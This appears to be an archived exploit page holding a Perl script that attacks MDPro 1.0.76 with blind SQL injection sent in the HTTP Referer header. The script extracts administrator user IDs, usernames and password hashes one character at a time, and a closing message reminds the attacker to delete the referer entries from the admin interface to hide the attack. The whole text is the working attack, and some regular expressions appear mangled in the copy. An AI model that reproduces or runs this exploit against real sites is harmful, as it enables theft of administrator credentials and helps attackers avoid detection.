Home / os / solaris

mdpro1076-sql.txt

Posted on 30 September 2007

#!/usr/bin/perl

use strict;
use IO::Socket;

my $app = "MDPro 1.0.76";
my $type = "SQL Injection";
my $author = "undefined1_";
my $settings = "magic_quotes_runtime = off, mysql >= 4.1.0";

$| = 1;
print ":: $app $type - by $author ::


";

my $url = shift || usage();

if($url =~ m/^(?:http://)(.*)/) {
$url = $1;
}
if($url !~ m/^.*/$/) {
$url .= "/";
}

get_md5s($url);
print "don't forget to delete the referers from the admin interface...
";

sub get_md5s {
my $url = shift;
$url .= "index.php";
my $admins_only = shift;
my $ps = 0;
my $referer = "Firefox ID=". randstring(20,25);

my $uid_charset = "1234567890";
my $user_charset = "abcdefghijklmnopqrstuvwxyz-_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ][}{+=/\'"@$#!%^&*()";
my $pass_charset = "afc0123456789abde";

my $data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
my $recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: '
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;
if($recv !~ m/Call to undefined function PN_DBMsgError/m) {
print "magic quotes = on ;-[
";
return $ps;
}

my $recv;
my $lastuid = 0;
while(1) {
my $uid_length = length("$lastuid");
my $user_length = 1;
my $pass_length = 32;
my $uid = "";
my $user = "";
my $pass = "";
my $O_RLY = 0;

for(my $x = $uid_length; $x <= 8; $x++) {
print "
uid length = $uid_length";
$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer' and (select 1 from md_group_membership where length(CONCAT(pn_uid))=$x and pn_uid>$lastuid and pn_gid=2 limit 1 order by pn_uid asc)=1 order by 1 asc/*
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
$uid_length = $x;
$x = 9;
$O_RLY = 1;
}
}

if($O_RLY == 0) { return $ps; }
$O_RLY = 0;

print "
uid length = $uid_length
";

for(my $i = 1; $i <= $uid_length; $i++) {
for(my $j = 0; $j < length($uid_charset); $j++) {
my $key = substr($uid_charset, $j, 1);
my $hex_key = sprintf("0x%02x", ord($key));
print "
uid = $uid$key";

$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer' and (select 1 from md_group_membership where substring(pn_uid,$i,1)=$hex_key and pn_uid>$lastuid and pn_gid=2 order by pn_uid asc limit 1)=1 order by 1 asc/*
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
$uid .= $key;
$j = length($uid_charset);
}
}
}

print "
uid = $uid
";

for(my $x = $user_length; $x <= 25; $x++) {
print "
user length = $x";
$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer' and (select 1 from md_users where length(pn_uname)=$x and pn_uid=$uid limit 1)=1 order by 1 asc/*
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
$user_length = $x;
$x = 26;
$O_RLY = 1;
}
}

if($O_RLY == 0) { return $ps; }
$O_RLY = 0;

print "
user length = $user_length
";

for(my $i = 1; $i <= $user_length; $i++) {
for(my $j = 0; $j < length($user_charset); $j++) {
my $key = substr($user_charset, $j, 1);
my $hex_key = sprintf("0x%02x", ord($key));
print "
user = $user$key";

$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer' and (select 1 from md_users where substring(pn_uname,$i,1)=$hex_key and pn_uid=$uid limit 1)=1 order by 1 asc/*
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
$user .= $key;
$j = length($user_charset);
}
}
}

print "
user = $user
";




# pour le pass, faire genre un tolower du char direct dans la sql query

for(my $i = 1; $i <= $pass_length; $i++) {
for(my $j = 0; $j < length($pass_charset); $j++) {
my $key = substr($pass_charset, $j, 1);
my $hex_key = sprintf("0x%02x", ord($key));
print "
password = $pass$key";

$data = "GET " . parse_page($url) . " HTTP/1.1
";
$data .= "Host: " . parse_host($url) . "
";
$data .= "Referer: $referer' and (select 1 from md_users where lower(substring(pn_pass,$i,1))=$hex_key and pn_uid=$uid limit 1)=1 order by 1 asc/*
";
$data .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
";
$data .= "Connection: close

";
$recv = sendpacket(parse_host($url), parse_port($url), $data);
$ps++;

if($recv =~ m/Call to undefined function PN_DBMsgError/m) {
$pass .= $key;
$j = length($pass_charset);
}
}
}

print "
password = $pass

";


exit;
}
}

# ======================================================

sub parse_host {
my $url = shift;
if($url =~ m/^([^/:]+).*//) {
return $1;
}
return "127.0.0.1";
}

sub parse_port {
my $url = shift;
if($url =~ m/^(?:[^/:]+):(d+)//) {
return $1;
}
return "80";
}

sub parse_page {
my $url = shift;
if($url =~ m/^(?:[^/]+)(/.*)/) {
return $1;
}
return "/";
}

sub randstring($,$) {
my $min = shift;
my $max = shift;

my $length = int( (rand(65535)%($max-$min+1))+$min);
my $ret = "";
for(my $i = 0; $i < $length; $i++)
{
my $w = int(rand(3));
if($w == 0)
{
$ret .= chr(97 + int(rand(26)));
}
elsif($w == 1)
{
$ret .= chr(65 + int(rand(26)));
}
else
{
$ret .= chr(48 + int(rand(10)));
}
}

return $ret;
}

sub sendpacket {
my $server = shift;
my $port = shift;
my $data = shift;

my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die ":: Could not connect to $server:80 $!
";
print $sock "$data";

$data = "";
my $resp;
while($resp = <$sock>)	{ $data .= $resp; }

close($sock);
return $data;
}

sub usage() {
printf "usage: %s <url>
", $0;
exit;
}

 

TOP